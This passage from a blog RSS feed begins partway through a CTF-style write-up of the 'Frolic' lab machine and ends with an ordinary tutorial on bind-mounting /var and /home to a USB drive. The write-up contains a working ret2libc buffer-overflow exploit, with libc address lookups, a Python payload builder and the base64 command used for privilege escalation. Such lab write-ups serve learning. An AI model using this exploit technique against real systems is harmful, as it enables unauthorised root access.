        /lib/ld-linux.so.2 (0xb7fdb000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;system&#34;
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &#34;exit&#34;
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2
$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep &#34;/bin/sh&#34;
 15ba0b /bin/sh
</code></pre>

<p>All of the offsets need to be added to the address for the <code>libc.so.6</code> library in order to obtain the necessary values</p>

<pre><code class="language-shellsession">[0x42424242]&gt; ?v 0xb7e19000 + 0x0003ada0
0xb7e53da0
[0x42424242]&gt; ?v 0xb7e19000 + 0x0002e9d0
0xb7e479d0
[0x42424242]&gt; ?v 0xb7e19000 + 0x15ba0b
0xb7f74a0b
</code></pre>

<p>These values can now be used in a python script to generate the payload that can be used to exploit the binary and achieve privilege escalation</p>

<pre><code class="language-python">from struct import pack
from base64 import b64encode

padding = b&#39;A&#39; * 52
system_address = pack(&#39;&lt;I&#39;, 0xb7e53da0)
exit_address = pack(&#39;&lt;I&#39;, 0xb7e479d0)
bin_sh_address = pack(&#39;&lt;I&#39;, 0xb7f74a0b)

payload = padding + system_address + exit_address + bin_sh_address

print(b64encode(payload).decode())
</code></pre>

<p>The output string is encoded in Base64, which makes it easier to copy it over to the target host to exploit the binary</p>

<pre><code class="language-shellsession">$ ./rop $(echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw== | base64 -d)
</code></pre>

<p>The command above manages to successfully exploit the BoF vulnerability in the binary and privilege escalation is achieved via this method.</p>
]]></content:encoded>
      <guid>https://codebeta.com/frolic</guid>
      <pubDate>Thu, 30 Sep 2021 14:32:36 +0000</pubDate>
    </item>
    <item>
      <title>Bind Linux Directories</title>
      <link>https://codebeta.com/bind-linux-directories?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[I wanted to move the /var and /home directories from the MicroSD to a USB flash drive, this because those are the two directories that see much more movement and that could benefit from being moved away from the MicroSD.&#xA;&#xA;!--more--&#xA;&#xA;It’s really easy to have the directories in a different partition but I didn’t want to partition a single USB thumb drive or have two thumb drives for each directory so I looked into having the directories in one partition, this can be achieved with binding.&#xA;&#xA;First, create the partition on the desired thumb drive&#xA;&#xA;sudo mkfs.ext4 -O ^hasjournal /dev/sdxn&#xA;&#xA;This creates the ext4 partition in the thumb drive without journaling which lowers the amount of reads and writes that is done to the drive.&#xA;&#xA;Once you have the partition created and mounted, create the directories you want to move to the drive, in my case I created home and var so I ran the following commands&#xA;&#xA;sudo mkdir /mnt/usb/var&#xA;&#xA;sudo mkdir /mnt/usb/home&#xA;&#xA;Because I’m creating this on a system that hasn’t been fully setup yet, I don’t have anything on home thus no need to copy over anything from there, but var does have some files that need to be copied over, so I ran this command&#xA;&#xA;sudo cp -ax /var/\* /mnt/usb/var&#xA;&#xA;After the copying process is completed you can check the directory to see everything that was copied over. As an extra step I created an empty file in each directory and named it notusb this with the sole purpose of knowing when the directory isn’t mounted.&#xA;&#xA;You could either leave the directories as they are or completely remove them, which is something that would be advised in case you want to have that space available. I decided to leave them.&#xA;&#xA;Once you’ve copied everything over you can edit fstab to have everything mount during boot time, so use your favorite file editor and add the following line&#xA;&#xA;/mnt/usb/var /var none bind&#xA;&#xA;I also added another line for the home but you get the idea. It will be necessary to first mount the drive before trying to mount as it wouldn’t make sense otherwise, so be sure to add the drive to the fstab as well.&#xA;&#xA;You want to obtain the UUID of the partition as it makes it easier to mount that specific partition and not have another device get mounted because of some issue. To do this run the following command&#xA;&#xA;sudo blkid | grep /dev/sdxn&#xA;&#xA;Where sdxn is the same one used on the command above to create a partition. This should return one line with the UUID of the partition, if it doesn’t then just run the blkid command and look at all of the output given.&#xA;&#xA;You should see a line like&#xA;&#xA;/dev/sda1: UUID=”f6e6oe58–467c-ae79-9cf4–000199562b81&#34; TYPE=”ext4&#34; PARTUUID=”fe096750–02&#34;&#xA;&#xA;You would grab the UUID value without the quotes and place it in the fstab in the line where you establish the mount point for the drive&#xA;&#xA;UUID=f6e6oe58–467c-ae79–9cf4–000199562b81 /mnt/usb ext4 defaults,noatime 0 0&#xA;&#xA;At this point you should be set and would be just a matter of mounting everything manually, but if you can reboot then I would recommend going that route as you will verify that the mounting will be carried out accordingly during boot up of the device.&#xA;&#xA;I check if the file notusb_ exists in either directory and if it doesn’t then it means that everything worked accordingly and I can continue working on setting up the system.]]&gt;</description>
      <content:encoded><![CDATA[<p>I wanted to move the /var and /home directories from the MicroSD to a USB flash drive, this because those are the two directories that see much more movement and that could benefit from being moved away from the MicroSD.</p>



<p>It’s really easy to have the directories in a different partition but I didn’t want to partition a single USB thumb drive or have two thumb drives for each directory so I looked into having the directories in one partition, this can be achieved with binding.</p>

<p>First, create the partition on the desired thumb drive</p>

<pre><code class="language-shell">sudo mkfs.ext4 -O ^has_journal /dev/sdxn
</code></pre>

<p>This creates the <em>ext4</em> partition in the thumb drive without journaling which lowers the amount of reads and writes that is done to the drive.</p>

<p>Once you have the partition created and mounted, create the directories you want to move to the drive, in my case I created <em>home</em> and <em>var</em> so I ran the following commands</p>

<pre><code class="language-shell">sudo mkdir /mnt/usb/var

sudo mkdir /mnt/usb/home
</code></pre>

<p>Because I’m creating this on a system that hasn’t been fully setup yet, I don’t have anything on <em>home</em> thus no need to copy over anything from there, but <em>var</em> does have some files that need to be copied over, so I ran this command</p>

<pre><code class="language-shell">sudo cp -ax /var/\* /mnt/usb/var
</code></pre>

<p>After the copying process is completed you can check the directory to see everything that was copied over. As an extra step I created an empty file in each directory and named it <em>notusb</em> this with the sole purpose of knowing when the directory isn’t mounted.</p>

<p>You could either leave the directories as they are or completely remove them, which is something that would be advised in case you want to have that space available. I decided to leave them.</p>

<p>Once you’ve copied everything over you can edit <em>fstab</em> to have everything mount during boot time, so use your favorite file editor and add the following line</p>

<pre><code class="language-text">/mnt/usb/var /var none bind
</code></pre>

<p>I also added another line for the <em>home</em> but you get the idea. It will be necessary to first mount the drive before trying to mount as it wouldn’t make sense otherwise, so be sure to add the drive to the <em>fstab</em> as well.</p>

<p>You want to obtain the UUID of the partition as it makes it easier to mount that specific partition and not have another device get mounted because of some issue. To do this run the following command</p>

<pre><code class="language-shell">sudo blkid | grep /dev/sdxn
</code></pre>

<p>Where <em>sdxn</em> is the same one used on the command above to create a partition. This should return one line with the UUID of the partition, if it doesn’t then just run the _blkid _command and look at all of the output given.</p>

<p>You should see a line like</p>

<pre><code class="language-shellsession">/dev/sda1: UUID=”f6e6oe58–467c-ae79-9cf4–000199562b81&#34; TYPE=”ext4&#34; PARTUUID=”fe096750–02&#34;
</code></pre>

<p>You would grab the <em>UUID</em> value without the quotes and place it in the <em>fstab</em> in the line where you establish the mount point for the drive</p>

<pre><code class="language-shellsession">UUID=f6e6oe58–467c-ae79–9cf4–000199562b81 /mnt/usb ext4 defaults,noatime 0 0
</code></pre>

<p>At this point you should be set and would be just a matter of mounting everything manually, but if you can reboot then I would recommend going that route as you will verify that the mounting will be carried out accordingly during boot up of the device.</p>

<p>I check if the file <em>notusb</em> exists in either directory and if it doesn’t then it means that everything worked accordingly and I can continue working on setting up the system.</p>
]]></content:encoded>
      <guid>https://codebeta.com/bind-linux-directories</guid>
      <pubDate>Wed, 29 Sep 2021 16:34:14 +0000</pubDate>
    </item>
  </channel>
</rss>